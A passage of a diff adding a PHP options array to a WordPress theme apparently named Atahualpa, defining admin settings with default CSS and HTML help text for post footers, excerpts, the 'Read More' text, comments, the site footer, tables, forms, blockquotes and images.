+			'<i>Comments are closed</i>')% %edit(' | ', 'Edit', '')%</code>"),
+
+	array(    "name" => "FOOTER: Multi Post Pages",
+    	    "category" => "postinfos",
+            "id" => $shortname."_post_footer_multi",
+            "type" => "postinfos",
+            "std" => "%date('F jS, Y')% | %tags-linked('Tags: ', ', ', ' | ')% Category: %categories-linked(', ')% | 
+			%comments('Leave a comment', 'One comment', '% comments', 'Comments are closed')%",
+            "info" => "Leave blank to display no footer on posts on multi post pages.<br /><strong>Example:</strong> 
+			<code>%tags-linked('<i>&lt;strong&gt;Tags:&lt;/strong&gt; </i>', '<i>, </i>', '<i> - </i>')% &lt;strong&gt;
+			Categories:&lt;/strong&gt; %categories-linked('<i>, </i>')%&lt;br /&gt;%comments('<i>Leave a comment</i>', 
+			'<i>One comment so far</i>', '<i>% comments - be the next!</i>', '<i>Comments are closed</i>')% %edit(' | ', 'Edit', '')%</code>"),
+
+	array(    "name" => "FOOTER: Single Post Pages",
+    	    "category" => "postinfos",
+            "id" => $shortname."_post_footer_single",
+            "type" => "postinfos",
+            "std" => "%date('F jS, Y')% | %tags-linked('Tags: ', ', ', ' | ')% Category: %categories-linked(', ')% | 
+			%comments('Leave a comment', 'One comment', '% comments', 'Comments are closed')%",
+            "info" => "Leave blank to display no footer on posts on single post pages.<br /><strong>Example:</strong> 
+			<code>%tags-linked('<i>&lt;strong&gt;Tags:&lt;/strong&gt; </i>', '<i>, </i>', '<i> - </i>')% &lt;strong&gt;
+			Categories:&lt;/strong&gt; %categories-linked('<i>, </i>')%&lt;br /&gt;%comments('<i>Leave a comment</i>', 
+			'<i>One comment so far</i>', '<i>% comments - be the next!</i>', '<i>Comments are closed</i>')% %edit(' | ', 'Edit', '')%</code>"),
+
+	array(    "name" => "FOOTER: \"Page\" Pages",
+    	    "category" => "postinfos",
+            "id" => $shortname."_post_footer_page",
+            "type" => "postinfos",
+            "std" => "",
+			"lastoption" => "yes", 
+            "info" => "Leave blank to have no footer on \"page\" pages.<br /><em>NOTE: \"Page\" pages 
+			don't have categories or tags</em>"),
+
+// New category: posts
+
+    array(    "name" => "POST Container",
+    	    "category" => "posts",
+			"switch" => "yes",
+            "id" => $shortname."_post_container_style",
+            "std" => "margin: 0 0 30px 0;\n",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-container.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the container</strong> 
+			that contains the whole post/page."),
+
+    array(    "name" => "POST Container: STICKY",
+    	    "category" => "posts",
+            "id" => $shortname."_post_container_sticky_style",
+            "std" => "background: #eee url(" . $stylesheet_directory . "/images/sticky.gif) 99% 5% no-repeat;\nborder: dashed 1px #ccc;\npadding: 10px;",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-container.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Additional styles for <strong>the container
+			</strong> when it is <strong>STICKY</strong>. This works only in WP 2.7 and newer. 
+			In WP 2.7, posts can be marked as \"sticky\" which will make them stay on the top of the homepage."),
+
+    array(    "name" => "KICKER Box",
+    	    "category" => "posts",
+            "id" => $shortname."_post_kicker_style",
+            "std" => "margin: 0 0 5px 0;\n",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-kicker.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the box</strong> that 
+			contains the post/page \"kicker\", <strong>and the text</strong> inside, except the links."),
+
+    array(    "name" => "KICKER Box: Links",
+    	    "category" => "posts",
+            "id" => $shortname."_post_kicker_style_links",
+            "std" => "color: #000000;\ntext-decoration: none;\ntext-transform: uppercase;",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-kicker-links.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the links</strong> in the kicker box."),			
+
+	array(    "name" => "KICKER Box: Links: Hover",
+    	    "category" => "posts",
+            "id" => $shortname."_post_kicker_style_links_hover",
+            "std" => "color: #cc0000;",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-kicker-links-hover.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the links</strong> in the 
+			kicker box, in their <strong>hover</strong> state."),			
+			
+    array(    "name" => "HEADLINE Box",
+    	    "category" => "posts",
+            "id" => $shortname."_post_headline_style",
+            "std" => "",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-headline.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the box</strong> that contains 
+			the post/page title. The text inside (= the post/page title) will be styled in the next section."),
+
+    array(    "name" => "HEADLINE Box: Text",
+    	    "category" => "posts",
+            "id" => $shortname."_post_headline_style_text",
+            "std" => "padding: 0;\nmargin: 0;\n",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-headline-text.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the post/page titles, when 
+			they are NOT links</strong>, but regular text (= on single post pages and \"page\" pages)."),
+			
+    array(    "name" => "HEADLINE Box: Links",
+    	    "category" => "posts",
+            "id" => $shortname."_post_headline_style_links",
+            "std" => "color: #666666;\ntext-decoration: none;\n",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-headline-links.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the post/page titles, when 
+			they ARE links</strong> (= on multi post pages such as home, archive, category, tag, search...). 
+			\"Page\" page titles are usually never links, but they might become links, i.e. if you expand 
+			WordPress' search capabilities with a plugin."),			
+
+	array(    "name" => "HEADLINE Box: Links: Hover",
+    	    "category" => "posts",
+            "id" => $shortname."_post_headline_style_links_hover",
+            "std" => "color: #000000;\ntext-decoration: none;\n",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-headline-links-hover.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style the <strong>hover</strong> state of 
+			<strong>post/page titles</strong>, when they are links."),			
+
+    array(    "name" => "BYLINE Box",
+    	    "category" => "posts",
+            "id" => $shortname."_post_byline_style",
+            "type" => "textarea",
+            "std" => "margin: 5px 0 10px 0;",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-byline.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the box</strong> that contains 
+			the post/page byline, <strong>and the text</strong> inside, except the links."),
+
+	array(    "name" => "BYLINE Box: Links",
+    	    "category" => "posts",
+            "id" => $shortname."_post_byline_style_links",
+            "type" => "textarea",
+            "std" => "",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-byline-links.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the links</strong> in 
+			the byline box."),
+
+	array(    "name" => "BYLINE Box: Links: Hover",
+    	    "category" => "posts",
+            "id" => $shortname."_post_byline_style_links_hover",
+            "type" => "textarea",
+            "std" => "",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-byline-links-hover.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the links</strong> in the 
+			byline box, in their <strong>hover</strong> state."),
+
+    array(    "name" => "BODY Box",
+    	    "category" => "posts",
+            "id" => $shortname."_post_bodycopy_style",
+            "type" => "textarea",
+            "std" => "",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-body.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the box</strong> that 
+			contains the post/page main text (= the \"body copy\"). The text and links in 
+			the post/page main text box can be styled on the main tab \"Text & Link Styling\"."),
+		
+	array(    "name" => "FOOTER Box",
+    	    "category" => "posts",
+            "id" => $shortname."_post_footer_style",
+            "type" => "textarea",
+            "std" => "margin: 0;\npadding: 5px;\nbackground: #eeeeee;\ncolor: #666;\nline-height: 18px;",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-footer.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the box</strong> that 
+			contains the post/page footer, <strong>and the text</strong> inside, except the links."),
+
+	array(    "name" => "FOOTER Box: Links",
+    	    "category" => "posts",
+            "id" => $shortname."_post_footer_style_links",
+            "type" => "textarea",
+            "std" => "color: #333;\nfont-weight: normal;\ntext-decoration: none;",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-footer-links.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the links</strong> in the footer box."),
+
+	array(    "name" => "FOOTER Box: Links: Hover",
+    	    "category" => "posts",
+            "id" => $shortname."_post_footer_style_links_hover",
+            "type" => "textarea",
+            "std" => "color: #333;\nfont-weight: normal;\ntext-decoration: underline;",
+			"lastoption" => "yes", 
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post-footer-links-hover.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style <strong>the links</strong> in the 
+			footer box, in their <strong>hover</strong> state."),
+
+			
+// New category: posts-or-excerpts
+             
+    array(    "name" => "Posts or excerpts on HOME page?",
+    	    "category" => "posts-or-excerpts",
+			"switch" => "yes",
+            "id" => $shortname."_excerpts_home",
+            "type" => "select",
+            "std" => "Full Posts",
+            "options" => array("Only Excerpts", "Full Posts"),
+            "info" => "Show full posts or only excerpts, on the Homepage?"),
+
+    array(    "name" => "Show the first X posts on HOME page as full posts?",
+    	    "category" => "posts-or-excerpts",
+            "id" => $shortname."_full_posts_homepage",
+            "type" => "select",
+            "std" => 0,
+            "options" => array(0,1,2,3,4,5,6,7,8,9,10),
+            "info" => "By setting a number here and setting the option above (Posts or excerpts on HOME page?) to 
+			\"Only Excerpts\" you can show X full posts on top of the Homepage, followed by excerpts."),
+			
+    array(    "name" => "Posts or excerpts on CATEGORY pages?",
+    	    "category" => "posts-or-excerpts",
+            "id" => $shortname."_excerpts_category",
+            "type" => "select",
+            "std" => "Only Excerpts",
+            "options" => array("Only Excerpts", "Full Posts"),
+            "info" => "Show full posts or only excerpts, on Category pages?"),
+            
+    array(    "name" => "Posts or excerpts on ARCHIVE pages?",
+    	    "category" => "posts-or-excerpts",
+            "id" => $shortname."_excerpts_archive",
+            "type" => "select",
+            "std" => "Only Excerpts",
+            "options" => array("Only Excerpts", "Full Posts"),
+            "info" => "Show full posts or only excerpts, on (date based) Archive pages?"),
+
+    array(    "name" => "Posts or excerpts on TAG pages?",
+    	    "category" => "posts-or-excerpts",
+            "id" => $shortname."_excerpts_tag",
+            "type" => "select",
+            "std" => "Only Excerpts",
+            "options" => array("Only Excerpts", "Full Posts"),
+            "info" => "Show full posts or only excerpts, on Tag pages?"),
+            
+    array(    "name" => "Posts or excerpts on SEARCH RESULT pages?",
+    	    "category" => "posts-or-excerpts",
+            "id" => $shortname."_excerpts_search",
+            "type" => "select",
+            "std" => "Only Excerpts",
+            "options" => array("Only Excerpts", "Full Posts"),
+            "info" => "Show full posts or only excerpts, on Search Result pages?"),
+
+    array(    "name" => "Posts or excerpts on AUTHOR pages?",
+    	    "category" => "posts-or-excerpts",
+            "id" => $shortname."_excerpts_author",
+            "type" => "select",
+            "std" => "Only Excerpts",
+            "options" => array("Only Excerpts", "Full Posts"),
+			"lastoption" => "yes", 
+            "info" => "Show full posts or only excerpts, on Author pages?"),
+
+// New category: more-tag
+
+    array(    "name" => "Read More",
+    	    "category" => "more-tag",
+			"switch" => "yes",
+           "id" => $shortname."_more_tag",
+            "std" => "Continue reading %post-title%",
+            "type" => "text",
+			"size" => "30", 
+			"editable" => "yes", 
+			"lastoption" => "yes", 
+            "info" => "Configure the \"Read More\" text here. The text you put here will be displayed whenever you use 
+			<code>&lt;!--more--&gt;</code> in a post, either by manually inserting that tag into a post or by using the 
+			more button (see images below). This is a more fine-grained method of generating post excerpts than setting 
+			the post display type to \"Excerpts\" (see menu tab \"Posts or Excerpts\"). <br /><br />Whenever you insert 
+			<code>&lt;!--more--&gt;</code> into a post or page, only the text before that tag will be displayed on 
+			multi-post-pages while the whole post will be displayed on its dedicated single post page. <br /><br />
+			Use <code>%post-title%</code> to include the post title in the \"More\" text.<br /><br />
+			Example:<br /> <code>Continue reading \"&lt;strong&gt;%post-title%&lt/strong&gt;\" &amp;raquo;</code><br /><br />
+			You can use single and double quotes, and HTML. Examples:<ul><li><code>&lt;br /&gt;</code> for line breaks</li>
+			<li><code>&lt;strong&gt; ... &lt;/strong&gt;</code> to make text <strong>bold</strong></li>
+			<li><code>&lt;em&gt; ... &lt;/em&gt;</code> to make text <em>italic</em></li><li><code>&amp;nbsp;</code> to 
+			include a non-breaking space</li><li><code>&amp;raquo;</code> for a right angle quote 
+			<span style=\"font-size: 25px\">&raquo;</span></li><li><code>&amp;laquo;</code> for a left angle quote 
+			<span style=\"font-size: 25px\">&laquo;</span></li><li><code>&amp;rsaquo;</code> for a right single angle quote 
+			<span style=\"font-size: 25px\">&rsaquo;</span></li><li><code>&amp;lsaquo;</code> for a left single angle quote 
+			<span style=\"font-size: 25px\">&lsaquo;</span></li><li><code>&amp;rarr;</code> for a right arrow 
+			<span style=\"font-size: 25px\">&rarr;</span></li><li><code>&amp;larr;</code> for a left arrow 
+			<span style=\"font-size: 25px\">&larr;</span></li></ul>The WordPress editor buttons to insert the 
+			\"Read More\" tag into a post or page. They look different depending on whether you're in Visual or HTML mode.<br /><br >" . 
+			"<img src=\"" . $stylesheet_directory . "/options/images/readmore1.gif\" /><br /><br />
+			<img src=\"" . $stylesheet_directory . "/options/images/readmore2.gif\" />"),
+ 
+// New category: comments
+                                                                
+    array(    "name" => "Highlight Author comments?",
+    	    "category" => "comments",
+			"switch" => "yes",
+            "id" => $shortname."_author_highlight",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "Highlight author (blog owner) comments with a different background color?"),
+
+    array(    "name" => "Color for Author comment highlighting",
+    	    "category" => "comments",
+           "id" => $shortname."_author_highlight_color",
+            "std" => "ffecec",
+            "type" => "text",
+            "info" => "If you chose Yes above, set the background color for author comments here."),
+
+    array(    "name" => "Regular Comment Background Color",
+    	    "category" => "comments",
+           "id" => $shortname."_comment_background_color",
+            "std" => "ffffff",
+            "type" => "text",
+            "info" => "Background color for comments"),
+
+    array(    "name" => "Alternating Comment Background Color",
+    	    "category" => "comments",
+           "id" => $shortname."_comment_alt_background_color",
+            "std" => "f6f6f6",
+            "type" => "text",
+            "info" => "Background color for every second comment. Choose the same color as one option above if 
+			you want the same background color for all comments."),
+
+    array(    "name" => "Border between single comments",
+    	    "category" => "comments",
+           "id" => $shortname."_comment_border",
+            "std" => "dotted 1px #cccccc",
+            "type" => "text",
+            "info" => "Style the line that separates every comment from the next. No semicolon here."),
+
+    array(    "name" => "Comment Author Name Size",
+    	    "category" => "comments",
+            "id" => $shortname."_comment_author_size",
+            "type" => "select",
+            "std" => "110%",
+            "options" => array("100%", "105%", "110%", "115%", "120%", "125%", "130%", "135%", "140%", "145%", "150%"),
+            "info" => "Font size of comment author names relative to base font size."),	
+			
+    array(    "name" => "Allow comments on \"Page\" pages, too?",
+    	    "category" => "comments",
+            "id" => $shortname."_comments_on_pages",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("No", "Yes"),
+            "info" => "Set to Yes to have a comment form (and comments if any) on \"Page\" pages, too, and not only on Post pages."),
+
+    array(    "name" => "Separate trackbacks/pings from comments?",
+    	    "category" => "comments",
+            "id" => $shortname."_separate_trackbacks",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("Yes", "No"),
+            "info" => "For WP 2.6 and older: List comments, trackbacks and pings in the order they come in, or put all 
+			trackbacks and pings below the comments?<br /><br /><em>Note: This works well with the theme's own functions 
+			but not if you use the plugin <a href=\"http://wordpress.org/extend/plugins/paged-comments/\">Paged Comments</a> 
+			or Wordpress 2.7</em>"),	
+
+    array(    "name" => "Avatar Size",
+    	    "category" => "comments",
+           "id" => $shortname."_avatar_size",
+            "type" => "select",
+            "std" => "55",
+            "options" => array("0", "20", "25", "30", "35", "40", "45", "50", "55", "60", "65", "70", "75", "80"),
+            "info" => "The size of avatars, in pixels. 55 means 55 x 55 pixels. Choose 0 here to show no avatars 
+			(or turn them off in the WordPress admin panel if your WP version has built in avatar support)."),			
+
+    array(    "name" => "Avatar Style",
+    	    "category" => "comments",
+           "id" => $shortname."_avatar_style",
+            "std" => "margin: 0 8px 1px 0;\npadding: 3px;\nborder: solid 1px #ddd;\nbackground-color: #f3f3f3;\n
+			-moz-border-radius: 3px;\n-khtml-border-radius: 3px;\n-webkit-border-radius: 3px;\nborder-radius: 3px;",
+            "type" => "textarea",
+            "info" => "Style avatars. The lines with \"radius\" create rounded corners in Firefox and Safari."), 
+
+    array(    "name" => "Show XHTML tags?",
+    	    "category" => "comments",
+           "id" => $shortname."_show_xhtml_tags",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "Show the \"You can use these HTML tags\" info above the comment form?"),			
+
+    array(    "name" => "Comment Form Style",
+    	    "category" => "comments",
+           "id" => $shortname."_comment_form_style",
+            "std" => "margin: 25px 0;\npadding: 25px;\nbackground: #eee;\n-moz-border-radius: 8px;\n-khtml-border-radius: 8px;\n-webkit-border-radius: 8px;\nborder-radius: 8px;",
+            "type" => "textarea",
+            "info" => "Style the comment form area = Box that contains the Name, Email, Website input fields, the comment textarea and the submit button."), 
+			
+    array(    "name" => "Submit Button Style",
+    	    "category" => "comments",
+           "id" => $shortname."_submit_button_style",
+            "std" => "padding: 4px 10px 4px 10px;\nfont-size: 1.2em;\nline-height: 1.5em;\nheight: 36px;",
+            "type" => "textarea",
+            "info" => "Style the comment submit button, i.e. give it margin to move it around. This section here is 
+			specifically for the <strong>comment</strong> submit button. Additionally, default button styles will be applied, see
+			menu tab \"Forms\", options \"Submit Buttons: Default Style\" and \"Submit Buttons: Hover Style\"."), 
+			
+    array(    "name" => "Comment display order",
+    	    "category" => "comments",
+            "id" => $shortname."_comment_display_order",
+            "type" => "select",
+            "std" => "Oldest on top",
+            "options" => array("Oldest on top", "Newest on top"),
+			"lastoption" => "yes", 
+            "info" => "For WP 2.6 and older: To list comments in reverse order choose \"Newest on top\". 
+			In WP 2.7+ you can set this at Settings -> Discussion."),	
+			
+// New category: footer-style (don't name this "footer", Wordpress already uses that for their own footer in the admin area)
+
+    array(    "name" => "Footer Style",
+    	    "category" => "footer-style",
+			"switch" => "yes",
+           "id" => $shortname."_footer_style",
+            "std" => "background-color: #ffffff;\nborder-top: dashed 1px #cccccc;\npadding: 10px;\n
+			text-align: center;\ncolor: #777777;\nfont-size: 95%;",
+            "type" => "textarea",
+            "info" => "Style the footer box and the text inside."), 
+
+    array(    "name" => "Footer Style: Links",
+    	    "category" => "footer-style",
+           "id" => $shortname."_footer_style_links",
+            "std" => "text-decoration: none;\ncolor: #777777;\nfont-weight: normal;",
+            "type" => "textarea",
+            "info" => "Style the links in the footer."), 
+
+    array(    "name" => "Footer Style: Links: Hover",
+    	    "category" => "footer-style",
+           "id" => $shortname."_footer_style_links_hover",
+            "std" => "text-decoration: none;\ncolor: #777777;\nfont-weight: normal;",
+            "type" => "textarea",
+            "info" => "Style the links in the footer in hover state."), 
+
+    array(    "name" => "Footer: Content",
+    	    "category" => "footer-style",
+           "id" => $shortname."_footer_style_content",
+            "std" => "Copyright &copy; %current-year% %home% - All Rights Reserved",
+            "type" => "textarea",
+			"editable" => "yes", 
+            "info" => "Content in the footer area. You can use (X)HTML and these placeholders ...
+			<ul><li><code>%current-year%</code> to display the current year</li>
+			<li><code>%page-XX%</code> to display the full link for a specific page. Replace XX with the ID of the page 
+			you want to display the link for.</li><li><code>%home%</code> to display a full link to the homepage.</li>
+			<li><code>%loginout%</code> to display a full Login/Logout link</li><li><code>%admin%</code> to display a 
+			full link to the admin area. (Will only be displayed for logged in users.)</li>
+			<li><code>%register%</code> to display a full register link</li><li><code>%rss%</code> to display (only) 
+			the URL for the RSS feed. This is not a full link, just the URL. Use something like 
+			<code>&lt;a href=\"%rss%\" rel=\"nofollow\"&gt;Posts Feed&lt;/a&gt;</code></li>
+			<li><code>%comments-rss%</code> to display (only) the URL for the Comments RSS feed. This is not a full link, 
+			just the URL. Use something like <code>&lt;a href=\"%comments-rss%\" rel=\"nofollow\"&gt;Comments Feed&lt;/a&gt;</code>. 
+			(The BFA SEO option \"Nofollow RSS\" will not work here - nofollow would have to be included manually as 
+			shown in these examples).</li>
+			<li>In HTML, <span style=\"font-size:24px\">&copy;</span> can be displayed with <code>&amp;copy;</code>, 
+			<span style=\"font-size:24px\">&trade;</span> with <code>&amp;trade;</code> and 
+			<span style=\"font-size:24px\">&reg;</span> with <code>&amp;reg;</code></li></ul>"), 
+			
+    array(    "name" => "Show number of queries &amp; timer?",
+    	    "category" => "footer-style",
+            "id" => $shortname."_footer_show_queries",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("No", "Yes - visible", "Yes - in source code"),
+			"lastoption" => "yes", 
+            "info" => "Show the amount of database queries and the time required to render the given page, 
+			at the bottom of every page? This can be useful to see how certain settings or plugins add to 
+			the page rendering time."),
+
+// New category: tables
+
+    array(    "name" => "Table Style",
+    	    "category" => "tables",
+			"switch" => "yes",
+            "id" => $shortname."_table",
+            "std" => "border-collapse: collapse;\nmargin: 10px 0;",
+            "type" => "textarea",
+            "info" => "Style the table as a whole <code>&lt;table&gt;</code> ... <code>&lt;/table&gt;</code>"),
+			
+    array(    "name" => "Table Caption Style",
+    	    "category" => "tables",
+            "id" => $shortname."_table_caption",
+            "std" => "background: #eeeeee;\nborder: #999999;\npadding: 4px 8px;\ncolor: #666666;",
+            "type" => "textarea",
+            "info" => "The table caption (if you use any) is (usually) the first row in a table.<br /><br />
+			<strong>Example:</strong><br /><br /><code>&lt;table&gt;<br /><i>&lt;caption&gt;Results May 2008&lt;/caption&gt;</i><br />
+			&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Address&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;<br />
+			&lt;tfoot&gt;&lt;tr&gt;&lt;td&gt;Previous&lt;/td&gt;&lt;td&gt;Next&lt;/td&gt;&lt;/tr&gt;&lt;/tfoot&gt;<br />
+			&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;John&lt;/td&gt;&lt;td&gt;Smallville&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;<br />
+			&lt;/table&gt;</code><br /><br /><em>Note how the table footer <code>tfoot</code> comes <strong>before</strong> 
+			the body <code>tbody</code></em>"),
+
+    array(    "name" => "Table Header Cells",
+    	    "category" => "tables",
+            "id" => $shortname."_table_th",
+            "std" => "background: #888888;\ncolor: #ffffff;\nfont-weight: bold;\nfont-size: 90%;\npadding: 4px 8px;\n
+			border: solid 1px #ffffff;\ntext-align: left;",
+            "type" => "textarea",
+            "info" => "Style the table header cells <code>&lt;th&gt;</code> ... <code>&lt;/th&gt;</code>"),
+
+    array(    "name" => "Table Body Cells",
+    	    "category" => "tables",
+            "id" => $shortname."_table_td",
+            "std" => "padding: 4px 8px;\nbackground-color: #ffffff;\nborder-bottom: 1px solid #dddddd;\ntext-align: left;",
+            "type" => "textarea",
+            "info" => "Style the regular table cells <code>&lt;td&gt;</code> ... <code>&lt;/td&gt;</code>"),
+
+    array(    "name" => "Table Footer Cells",
+    	    "category" => "tables",
+            "id" => $shortname."_table_tfoot_td",
+            "std" => "",
+            "type" => "textarea",
+            "info" => "You can style the table footer cells individually.<br /><br /><em>Or else they'll get the 
+			same style as the Table Body Cells.</em>"),
+			
+    array(    "name" => "Zebra stripe all tables?",
+    	    "category" => "tables",
+            "id" => $shortname."_table_zebra_stripes",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "Add a different style to every second row in <strong>all</strong> tables in posts and pages?<br /><br />
+			Alternatively, set this to \"No\" and add the class <code>zebra</code> to individual tables that you want to 
+			zebra stripe. Example: <br /><br /><code>&lt;table class=\"zebra\"&gt; ... &lt;/table&gt;</code>"),
+
+    array(    "name" => "Zebra row TD style",
+    	    "category" => "tables",
+            "id" => $shortname."_table_zebra_td",
+            "std" => "background: #f4f4f4;",
+            "type" => "textarea",
+            "info" => "If you chose to zebra stripe tables, set the style for the cells in every second row here."),
+			
+    array(    "name" => "Hover effect for all tables?",
+    	    "category" => "tables",
+            "id" => $shortname."_table_hover_rows",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "Change the style of table rows when the mouse pointer hovers over them, for <strong>all</strong> 
+			tables in posts and pages?<br /><br />Alternatively, set this to \"No\" and add the class <code>hover</code> 
+			to individual tables that you want to apply the hover effect on. Example: <br /><br />
+			<code>&lt;table class=\"hover\"&gt; ... &lt;/table&gt;</code><br /><br />Multiple classes can be added, too, 
+			i.e. to add both the zebra and the hover effect to an individual table:<br /><br />
+			<code>&lt;table class=\"zebra hover\"&gt; ... &lt;/table&gt;</code>"),
+
+    array(    "name" => "Hover row TD style",
+    	    "category" => "tables",
+            "id" => $shortname."_table_hover_td",
+            "std" => "background: #e2e2e2;",
+            "type" => "textarea",
+			"lastoption" => "yes", 
+            "info" => "If you chose to use a hover efect for table rows, set the style for the cells in hovered table rows here."),
+
+// New category: forms
+
+    array(    "name" => "Form fields: Style",
+    	    "category" => "forms",
+			"switch" => "yes",
+            "id" => $shortname."_form_input_field_style",
+            "std" => "color: #000000;\nborder-top: solid 1px #333333;\nborder-left: solid 1px #333333;\n
+			border-right: solid 1px #999999;\nborder-bottom: solid 1px #cccccc;",
+            "type" => "textarea",
+            "info" => "Style the text input fields and textareas in forms. "),
+
+    array(    "name" => "Form fields: Background image",
+    	    "category" => "forms",
+           "id" => $shortname."_form_input_field_background",
+            "std" => "inputbackgr.gif",
+            "type" => "text", 
+			"size" => "35", 
+            "info" => "The \"shadow\" inside of text fields and texareas. <br /><br />Other available shadows are <code>inputbackgr-red.gif</code>, 
+			<code>inputbackgr-green.gif</code> and <code>inputbackgr-blue.gif</code>, or upload you own image to atahualpa3/images/. 
+			Leave blank to have no background image in form fields."),
+			
+    array(    "name" => "Highlight form fields?",
+    	    "category" => "forms",
+            "id" => $shortname."_highlight_forms",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "Highlight form input fields when they get focus (when someone clicks into the field)?"),
+
+    array(    "name" => "Highlight form fields: Style",
+    	    "category" => "forms",
+            "id" => $shortname."_highlight_forms_style",
+            "std" => "background: #e8eff7;\nborder-color: #37699f;",
+            "type" => "textarea",
+            "info" => "If you chose \"Yes\" above, style the highlighted state of input fields here."),
+
+    array(    "name" => "Submit Buttons: Default Style",
+    	    "category" => "forms",
+            "id" => $shortname."_button_style",
+            "std" => "background-color: #777777;\ncolor: #ffffff;\nborder: solid 2px #555555;\nfont-weight: bold;",
+            "type" => "textarea",
+            "info" => "Style submit buttons in their <strong>default</strong> state."),
+
+    array(    "name" => "Submit Buttons: Hover Style",
+    	    "category" => "forms",
+            "id" => $shortname."_button_style_hover",
+            "std" => "background-color: #6b9c6b;\ncolor: #ffffff;\nborder: solid 2px #496d49;",
+            "type" => "textarea",
+			"lastoption" => "yes", 
+            "info" => "Style submit buttons in their <strong>hover</strong> state."),
+
+// New category: blockquotes
+
+    array(    "name" => "Blockquotes: Style",
+    	    "category" => "blockquotes",
+			"switch" => "yes",
+            "id" => $shortname."_blockquote_style",
+            "std" => "color: #555555;\npadding: 1em 1em;\nbackground: #f4f4f4;\nborder: solid 1px #e1e1e1;",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/blockquotes.gif\" style=\"float: right; margin: 0 0 10px 10px;\">" . 
+			"Style blockquotes. <br /><br /><strong>Example:</strong><br /><br /><code>font: italic 1.1em georgia, serif;<br />color: #336699;<br />
+			padding: 0 1em;<br />background: #c9dbed;<br />border: dashed 5px #336699;</code><br /><br />Example Screenshot is from IE7. 
+			It will look different on non-IE browsers."),
+			
+    array(    "name" => "Blockquotes in blockquotes: Style",
+    	    "category" => "blockquotes",
+            "id" => $shortname."_blockquote_style_2nd_level",
+            "std" => "color: #444444;\npadding: 1em 1em;\nbackground: #e1e1e1;\nborder: solid 1px #d3d3d3;",
+            "type" => "textarea",
+			"lastoption" => "yes", 
+            "info" => "Style blockquotes inside of blockquotes."),
+
+// New category: images
+
+    array(    "name" => "Images in Posts",
+    	    "category" => "images",
+			"switch" => "yes",
+            "id" => $shortname."_post_image_style",
+            "std" => "padding: 5px;\nborder: solid 1px #dddddd;\nbackground-color: #f3f3f3;\n-moz-border-radius: 3px;\n
+			-khtml-border-radius: 3px;\n-webkit-border-radius: 3px;\nborder-radius: 3px;",
+            "type" => "textarea",
+            "info" => "Style images in posts, when they have no caption.<br /><br />The lines with \"radius\" create 
+			rounded corners in Firefox and Safari.<br /><br />To remove the border around images, delete everything in this box."),
+			
+    array(    "name" => "Images in Posts: Caption Style",
+    	    "category" => "images",
+            "id" => $shortname."_post_image_caption_style",
+            "std" => "border: 1px solid #dddddd;\ntext-align: center;\nbackground-color: #f3f3f3;\npadding-top: 4px;\n
+			margin: 10px 0 0 0;\n-moz-border-radius: 3px;\n-khtml-border-radius: 3px;\n-webkit-border-radius: 3px;\nborder-radius: 3px;",
+            "type" => "textarea",
+            "info" => "Style the caption box for images in posts, that have a caption.<br /><br />The lines with \"radius\" 
+			create rounded corners in Firefox and Safari.<br /><br />To remove the border around images with caption, delete everything in this box."),
+
+    array(    "name" => "Caption Text: Style",
+    	    "category" => "images",
+            "id" => $shortname."_image_caption_text",
